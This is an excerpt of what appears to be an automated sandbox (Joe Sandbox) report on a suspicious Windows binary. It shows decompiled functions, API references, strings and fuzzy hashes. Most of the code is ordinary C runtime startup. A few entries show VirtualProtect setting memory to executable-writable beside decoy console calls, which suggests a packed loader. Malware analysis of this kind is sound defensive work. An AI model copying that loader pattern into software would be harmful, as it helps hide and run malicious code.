0x00b7e073
0x00b7e0ea
0x00b7e0f3
0x00b7e0f6
0x00b7e0f8
0x00b7e0fd
0x00b7e100
0x00b7e102
0x00b7e102
0x00b7e100
0x00b7e109
0x00b7e10d
0x00b7e145
0x00b7e148
0x00b7e14a
0x00b7e14e
0x00b7e159
0x00b7e15c
0x00b7e15e
0x00b7e162
0x00b7e176
0x00b7e17b
0x00b7e17e
0x00b7e181
0x00b7e183
0x00b7e183
0x00b7e181
0x00b7e162
0x00b7e15c
0x00b7e14e
0x00b7e18a
0x00b7e191
0x00b7e199
0x00b7e19c
0x00b7e1a0
0x00b7e1b0
0x00b7e1b6
0x00b7e1b9
0x00b7e1bf
0x00b7e1c3
0x00b7e217
0x00b7e21a
0x00b7e22d
0x00b7e21c
0x00b7e21c
0x00b7e225
0x00b7e225
0x00b7e237
0x00b7e23f
0x00b7e244
0x00b7e24a
0x00b7e250
0x00b7e252
0x00b7e258
0x00b7e258
0x00b7e25e
0x00b7e265
0x00b7e277
0x00b7e267
0x00b7e267
0x00b7e26f
0x00b7e26f
0x00b7e280
0x00b7e286
0x00b7e28b
0x00b7e298
0x00b7e2a1
0x00b7e2aa
0x00b7e2b3
0x00b7e2bc
0x00b7e2c2
0x00b7e1c5
0x00b7e1c8
0x00b7e1d1
0x00b7e1db
0x00b7e1e5
0x00b7e1f2
0x00b7e1f8
0x00b7e202
0x00b7e202
0x00b7e2d9
0x00b7e2f6
0x00b7e311
0x00b7e31c
0x00b7e31c
0x00b7e31f
0x00b7e1a2
0x00b7e1a5
0x00b7e1a5
0x00b7e10f
0x00b7e120
0x00b7e128
0x00b7e12b
0x00b7e12d
0x00b7e12d
0x00b7e131
0x00b7e131
0x00b7e322
0x00b7e322
0x00b7e329
0x00b7e341
0x00b7e34f
0x00b7e34f
0x00b7e08d
0x00b7e093
0x00b7e098
0x00000000
0x00000000
0x00b7e09e
0x00b7e0d7
0x00b7e0df
0x00b7e0e2
0x00b7e0e4
0x00b7e0e4
0x00b7e0e5
0x00000000
0x00b7e0e5
0x00b7e0a3
0x00b7e0c0
0x00b7e0c2
0x00b7e0c2
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 00B7E00A
__heap_alloc_base.LIBCMTD ref: 00B7E191
_memset.LIBCMT ref: 00B7E2D9
_memset.LIBCMT ref: 00B7E2F6
_memset.LIBCMT ref: 00B7E311

Strings

Client hook allocation failure., xrefs: 00B7E0C5
Client hook allocation failure at file %hs line %d., xrefs: 00B7E0A8
Error: memory allocation: bad memory block type., xrefs: 00B7E164
_CrtCheckMemory(), xrefs: 00B7E013
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00B7E01F
Invalid allocation size: %Iu bytes., xrefs: 00B7E113

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: 75c42ce20252b6829cc30c553d4fdc98138ebf3a2fd6d32b299921454e67cea8
Instruction ID: cfd1add74e52daa6a3d1216b314401985ff73fb4bc14a2ce173abb98baac277c
Opcode Fuzzy Hash: 75c42ce20252b6829cc30c553d4fdc98138ebf3a2fd6d32b299921454e67cea8
Instruction Fuzzy Hash: 1CA17774A00204ABDB18DF48DD92BA977F1EF48310F20C199E939AB3A1C772E951CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00B7CE45 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00B7CE45() {
				void* _t21;
				void* _t22;
				void* _t25;
				intOrPtr _t27;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t32;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E00B7CFE0();
				_t21 = E00B86D60(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E00B7CFB0(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L00B84AC0(_t46); // executed
				if(_t22 == 0) {
					E00B7CFB0(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E00B800B0(_t46);
				_t62 = _t61 + 4;
				E00B86CE0();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00B86840(); // executed
				if(_t25 < 0) {
					L00B859E0(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0xd14164 = E00B86830(); // executed
				_t27 = E00B86780(_t44, _t54, _t56); // executed
				 *0xd123d8 = _t27;
				if(E00B86390() < 0) {
					L00B859E0(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E00B861F0(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L00B859E0(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00B858C0(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L00B859E0(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00B86150();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				_t32 = E00B7A350(_t44, _t54, 0xb70000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c)); // executed
				 *((intOrPtr*)(_t58 - 0x70)) = _t32;
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E00B85960( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00B859A0();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x00b7ce45
0x00b7ce51
0x00b7ce56
0x00b7ce5b
0x00b7ce60
0x00b7ce64
0x00b7ce69
0x00b7ce69
0x00b7ce6c
0x00b7ce73
0x00b7ce77
0x00b7ce7c
0x00b7ce7c
0x00b7ce7f
0x00b7ce81
0x00b7ce86
0x00b7ce89
0x00b7ce8e
0x00b7ce95
0x00b7ce9c
0x00b7cea0
0x00b7cea5
0x00b7cea5
0x00b7cead
0x00b7ceb2
0x00b7ceb7
0x00b7cec3
0x00b7cec7
0x00b7cecc
0x00b7cecc
0x00b7cecf
0x00b7ced6
0x00b7ceda
0x00b7cedf
0x00b7cedf
0x00b7cee4
0x00b7ceec
0x00b7cef3
0x00b7cef9
0x00b7cefe
0x00b7cf06
0x00b7cf0f
0x00b7cf1a
0x00b7cf11
0x00b7cf15
0x00b7cf15
0x00b7cf30
0x00b7cf35
0x00b7cf3c
0x00b7cf42
0x00b7cf42
0x00b7cf47
0x00b7cf4c
0x00b7cf94
0x00b7cf9a
0x00b7cfa8

APIs

_check_managed_app.LIBCMTD ref: 00B7CE4C
__heap_init.LIBCMTD ref: 00B7CE56

Part of subcall function 00B86D60: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00B7CE5B,00000001), ref: 00B86D76

_fast_error_exit.LIBCMTD ref: 00B7CE64

Part of subcall function 00B7CFB0: ___crtExitProcess.LIBCMTD ref: 00B7CFD4

_fast_error_exit.LIBCMTD ref: 00B7CE77
__RTC_Initialize.LIBCMTD ref: 00B7CE89
___crtGetEnvironmentStringsW.LIBCMTD ref: 00B7CEB2
___wsetargv.LIBCMTD ref: 00B7CEBC
__wsetenvp.LIBCMTD ref: 00B7CECF
__cinit.LIBCMTD ref: 00B7CEE4
__wwincmdln.LIBCMTD ref: 00B7CF01

Strings

O|, xrefs: 00B7CE6C

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID: O|
API String ID: 3184702096-3395549761
Opcode ID: 886ac2d39f2037098c27bd06c02d9dfe6482754538b97d6e2c4f03e6a49d8181
Instruction ID: 53a69980b7e073e9935278b0aaed2f765cd11362018c7b172e9e290fd62f0847
Opcode Fuzzy Hash: 886ac2d39f2037098c27bd06c02d9dfe6482754538b97d6e2c4f03e6a49d8181
Instruction Fuzzy Hash: 7C3141B1D007049AEB10BBF0A80379E76F1AB50754F1081EDF92DAB293FB719945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B86840 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00B86840() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0xd0f728);
				_push(E00B812B0);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0xd11338; // 0x8bc2db00
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L00B7E420(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0xd13040 = _v128;
					 *0xd13020 = 0x20;
					while(_v128 <  *0xd13040 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0xd13040;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E00B8E240( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0xd13020);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0xd13020 < _v116) {
							_t209 = L00B7E420(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0xd13040 + _v104 * 4)) = _v128;
								 *0xd13020 =  *0xd13020 + 0x20;
								while(_v128 <  *((intOrPtr*)(0xd13040 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0xd13020;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0xd13040 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E00B8E240( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00b86845
0x00b86847
0x00b8684c
0x00b86857
0x00b86858
0x00b8685e
0x00b86863
0x00b86868
0x00b8686c
0x00b86872
0x00b86875
0x00b86880
0x00b86886
0x00b868cb
0x00b868d0
0x00b868d3
0x00b868da
0x00b868e7
0x00b868ed
0x00b86902
0x00b86914
0x00b8691b
0x00b86924
0x00b8692b
0x00b8693d
0x00b8694b
0x00b86951
0x00b86958
0x00b8695f
0x00b86969
0x00b868ff
0x00b868ff
0x00b86975
0x00b86b73
0x00b86b73
0x00b86b85
0x00b86b9b
0x00b86ba4
0x00b86bb5
0x00b86bbd
0x00b86bd3
0x00b86bd8
0x00b86bbf
0x00b86bbf
0x00b86bbf
0x00b86beb
0x00b86bf2
0x00b86c89
0x00b86c96
0x00b86c9c
0x00000000
0x00b86c02
0x00b86c0c
0x00b86c13
0x00000000
0x00b86c15
0x00b86c1b
0x00b86c29
0x00b86c49
0x00b86c58
0x00b86c58
0x00b86c2b
0x00b86c38
0x00b86c38
0x00b86c67
0x00b86c6c
0x00b86c71
0x00b86c84
0x00b86ca2
0x00000000
0x00b86c73
0x00b86c73
0x00b86c73
0x00b86c71
0x00b86c13
0x00b86ca4
0x00b86cb3
0x00b86cb6
0x00b86b82
0x00000000
0x00b86b82
0x00000000
0x00b86ba4
0x00b86cc2
0x00b86cc8
0x00b86985
0x00b8698a
0x00b86993
0x00b8699c
0x00b869a6
0x00b869b3
0x00b869a8
0x00b869ab
0x00b869ab
0x00b869c3
0x00b869c6
0x00b869d8
0x00b869f7
0x00b869fc
0x00b869ff
0x00b86a06
0x00b86a1b
0x00b86a2a
0x00b86a3a
0x00b86a51
0x00b86a58
0x00b86a61
0x00b86a68
0x00b86a7a
0x00b86a80
0x00b86a87
0x00b86a8e
0x00b86a98
0x00b86a37
0x00b86a37
0x00b869d5
0x00000000
0x00b86a08
0x00b86a0d
0x00b86a0d
0x00000000
0x00b86a06
0x00b86aa3
0x00b86ac7
0x00b86ad9
0x00b86b6e
0x00b86ab2
0x00b86abb
0x00b86ac4
0x00000000
0x00b86b11
0x00b86b27
0x00b86b32
0x00b86b3c
0x00b86b4b
0x00b86b50
0x00b86b55
0x00b86b6b
0x00000000
0x00b86b57
0x00b86b57
0x00b86b57
0x00b86b55
0x00000000
0x00b86ad9
0x00000000
0x00b86ac7
0x00b868dc
0x00b868dc
0x00b868dc
0x00b86cca
0x00b86ccd
0x00b86cdb

APIs

GetStartupInfoA.KERNEL32(?), ref: 00B86880
GetFileType.KERNEL32(?), ref: 00B86B07

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00B868C0, 00B869EC

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: 5917168503a8681453a230386a4b28956dbbf7a168b92dee801114e8bf947700
Instruction ID: e5ba21e50207232d490d6339b69d457c3a9e0358696cc11e0f55e306ea773062
Opcode Fuzzy Hash: 5917168503a8681453a230386a4b28956dbbf7a168b92dee801114e8bf947700
Instruction Fuzzy Hash: 62E1E574E04248CFDB24DFA8C895AADBBB1FB49314F24C29DD465AB3A2C7319846CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B7E35E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00B7E35E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L00B7D760();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0xd1240c; // 0x0
					_t28 = L00B7DF30(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E00B81BB0(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00B80C60(_t36))) = 0xc;
					E00B809F0(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x00b7e35e
0x00b7e35e
0x00b7e35e
0x00b7e35e
0x00b7e36b
0x00b7e36d
0x00b7e370
0x00b7e373
0x00b7e375
0x00b7e37a
0x00b7e37c
0x00b7e381
0x00b7e386
0x00b7e388
0x00b7e38d
0x00b7e393
0x00b7e395
0x00b7e395
0x00b7e393
0x00b7e39a
0x00b7e3d0
0x00b7e3e3
0x00b7e3ee
0x00b7e3f6
0x00b7e3fd
0x00b7e409
0x00b7e40e
0x00b7e411
0x00b7e39c
0x00b7e3a1
0x00b7e3bd
0x00b7e3c5
0x00b7e3c5
0x00b7e417

APIs

__invalid_parameter.LIBCMTD ref: 00B7E3BD
_memset.LIBCMT ref: 00B7E409

Strings

(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 00B7E375, 00B7E3B8
_calloc_dbg_impl, xrefs: 00B7E3B3
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00B7E381, 00B7E3AE

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: 6cf9b863c30615e66bc4c69140084d91fec0b936edded737b666dc52f1cef13d
Instruction ID: 800d916cffc80083932d372d4ecc24d021fbef42a085062b51301d6992391a28
Opcode Fuzzy Hash: 6cf9b863c30615e66bc4c69140084d91fec0b936edded737b666dc52f1cef13d
Instruction Fuzzy Hash: 48114C75A50208BBDB10EF98CC82F9E37E5AF58740F10C5D4F92DAB291E770EA508B60

Uniqueness

Uniqueness Score: -1.00%

Function 00B7A212 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetConsoleCtrlHandler.KERNEL32(00000000,00000001), ref: 00B7A2A1
SetConsoleCursorPosition.KERNEL32(00000000,?), ref: 00B7A2AD
GetCalendarInfoW.KERNEL32(00000000,00000000,00000000,00000000,00000000,005DB76C,director), ref: 00B7A2E1
VirtualProtect.KERNELBASE(034A5040,?,00000040,?), ref: 00B7A342

Strings

director, xrefs: 00B7A2B3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Console$CalendarCtrlCursorHandlerInfoPositionProtectVirtual
String ID: director
API String ID: 477736097-512807920
Opcode ID: 072c91af64b9b3190b7149eacedf41efd530bc0c6187de3bd30902bdd099995b
Instruction ID: addc62279fb354d77f05e3b996bf2f90d6167ef11d9c9b6ce037492d72090dce
Opcode Fuzzy Hash: 072c91af64b9b3190b7149eacedf41efd530bc0c6187de3bd30902bdd099995b
Instruction Fuzzy Hash: A6312270A482549FDB91DB60CC80BAE73B5EBD1704F20C1E8E11EAB291DA755D86CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B7EF43 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__free_base.LIBCMTD ref: 00B7F059

Strings

Q^+, xrefs: 00B7F04C
pHead->nBlockUse == nBlockUse, xrefs: 00B7EF5B
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00B7EF67

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __free_base
String ID: Q^+$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse
API String ID: 3554062276-4181556119
Opcode ID: 196a8661f10f423f96af043d4edf6d002738a42a98ae4bea8c557832b2f3145c
Instruction ID: a85001fba75d7226c61ad9efbda12ab8415c2687676e88b3be6da775f72812c7
Opcode Fuzzy Hash: 196a8661f10f423f96af043d4edf6d002738a42a98ae4bea8c557832b2f3145c
Instruction Fuzzy Hash: 1D211A74A00104EFDB04DF54DA91A6977F2EB88304F30C1D8E4295B396D736EE02DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B7A259 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetConsoleCtrlHandler.KERNEL32(00000000,00000001), ref: 00B7A2A1
SetConsoleCursorPosition.KERNEL32(00000000,?), ref: 00B7A2AD
GetCalendarInfoW.KERNEL32(00000000,00000000,00000000,00000000,00000000,005DB76C,director), ref: 00B7A2E1
VirtualProtect.KERNELBASE(034A5040,?,00000040,?), ref: 00B7A342

Strings

director, xrefs: 00B7A2B3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Console$CalendarCtrlCursorHandlerInfoPositionProtectVirtual
String ID: director
API String ID: 477736097-512807920
Opcode ID: 7a5c5d7f55cd021a349b5ac00e0bf3c17d04ef891fa1c8f983ea09a448af4ff2
Instruction ID: 400cc8756e3fbb513b64f0500b524704b10b126db409b460ac768076440b8127
Opcode Fuzzy Hash: 7a5c5d7f55cd021a349b5ac00e0bf3c17d04ef891fa1c8f983ea09a448af4ff2
Instruction Fuzzy Hash: 6E11BB70A44254EADB90DBA0DC55BAE77B1AF84300F10C1D8E10EAB291DEB05EC1CF66

Uniqueness

Uniqueness Score: -1.00%

Function 00B794E6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetConsoleCtrlHandler.KERNEL32(00000000,00000001), ref: 00B7A2A1
SetConsoleCursorPosition.KERNEL32(00000000,?), ref: 00B7A2AD
GetCalendarInfoW.KERNEL32(00000000,00000000,00000000,00000000,00000000,005DB76C,director), ref: 00B7A2E1
VirtualProtect.KERNELBASE(034A5040,?,00000040,?), ref: 00B7A342

Strings

director, xrefs: 00B7A2B3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Console$CalendarCtrlCursorHandlerInfoPositionProtectVirtual
String ID: director
API String ID: 477736097-512807920
Opcode ID: c505ab824353a448fc578355181d1876c92470ce768e030daab769812a9f554f
Instruction ID: 9917db28652560435ce8c3f5f99c52214915f20df45f6db2fd0e9b933816abd1
Opcode Fuzzy Hash: c505ab824353a448fc578355181d1876c92470ce768e030daab769812a9f554f
